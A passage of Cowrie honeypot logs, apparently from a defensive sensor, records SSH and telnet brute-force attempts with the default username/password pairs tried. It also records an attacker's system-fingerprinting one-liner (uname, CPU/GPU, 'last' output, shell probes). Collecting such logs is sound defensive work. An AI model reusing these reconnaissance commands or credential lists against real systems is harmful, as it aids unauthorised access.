2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.936498Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.939240Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.941716Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.944072Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.947415Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.949859Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.952062Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.955022Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.958376Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.961809Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.090289Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.209554Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60868,"dst_ip":"10.17.0.5","dst_port":22,"session":"616dc12df08c","protocol":"ssh","message":"New connection: 45.156.87.253:60868 (10.17.0.5:22) [session: 616dc12df08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.620658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.624206Z","src_ip":"45.156.87.253","session":"616dc12df08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.704774Z","src_ip":"45.156.87.253","session":"616dc12df08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:58.949303Z","src_ip":"45.156.87.253","session":"616dc12df08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:00.033444Z","src_ip":"45.156.87.253","session":"616dc12df08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42514,"dst_ip":"10.17.0.5","dst_port":22,"session":"34183aa8c990","protocol":"ssh","message":"New connection: 45.156.87.253:42514 (10.17.0.5:22) [session: 34183aa8c990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:02.104719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:02.109180Z","src_ip":"45.156.87.253","session":"34183aa8c990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:02.197120Z","src_ip":"45.156.87.253","session":"34183aa8c990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:02.443288Z","src_ip":"45.156.87.253","session":"34183aa8c990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:03.527288Z","src_ip":"45.156.87.253","session":"34183aa8c990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37908,"dst_ip":"10.17.0.5","dst_port":22,"session":"12bada86c2f7","protocol":"ssh","message":"New connection: 103.82.132.16:37908 (10.17.0.5:22) [session: 12bada86c2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.198325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.201582Z","src_ip":"103.82.132.16","session":"12bada86c2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42522,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f3234df13cb","protocol":"ssh","message":"New connection: 45.156.87.253:42522 (10.17.0.5:22) [session: 7f3234df13cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.403849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.407716Z","src_ip":"45.156.87.253","session":"7f3234df13cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.455390Z","src_ip":"103.82.132.16","session":"12bada86c2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.489025Z","src_ip":"45.156.87.253","session":"7f3234df13cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.733967Z","src_ip":"45.156.87.253","session":"7f3234df13cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":44268,"dst_ip":"10.17.0.5","dst_port":23,"session":"0983e3afe53d","protocol":"telnet","message":"New connection: 50.62.181.92:44268 (10.17.0.5:23) [session: 0983e3afe53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:05.814376Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"27061993","message":"login attempt [root/27061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:06.221036Z","src_ip":"103.82.132.16","session":"12bada86c2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:06.819810Z","src_ip":"45.156.87.253","session":"7f3234df13cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:07.477682Z","src_ip":"103.82.132.16","session":"12bada86c2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42528,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbbe458edf84","protocol":"ssh","message":"New connection: 45.156.87.253:42528 (10.17.0.5:22) [session: bbbe458edf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:08.710028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:08.713513Z","src_ip":"45.156.87.253","session":"bbbe458edf84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:08.794012Z","src_ip":"45.156.87.253","session":"bbbe458edf84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:09.214247Z","src_ip":"45.156.87.253","session":"bbbe458edf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:10.297743Z","src_ip":"45.156.87.253","session":"bbbe458edf84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37018,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d487242a85f","protocol":"ssh","message":"New connection: 45.156.87.253:37018 (10.17.0.5:22) [session: 2d487242a85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:12.205340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:12.208498Z","src_ip":"45.156.87.253","session":"2d487242a85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:12.288845Z","src_ip":"45.156.87.253","session":"2d487242a85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:12.535683Z","src_ip":"45.156.87.253","session":"2d487242a85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:13.733297Z","src_ip":"45.156.87.253","session":"2d487242a85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce09c302058","protocol":"ssh","message":"New connection: 45.156.87.253:37020 (10.17.0.5:22) [session: 3ce09c302058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:15.471076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:15.473951Z","src_ip":"45.156.87.253","session":"3ce09c302058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:15.553351Z","src_ip":"45.156.87.253","session":"3ce09c302058","protocol":"ssh"}
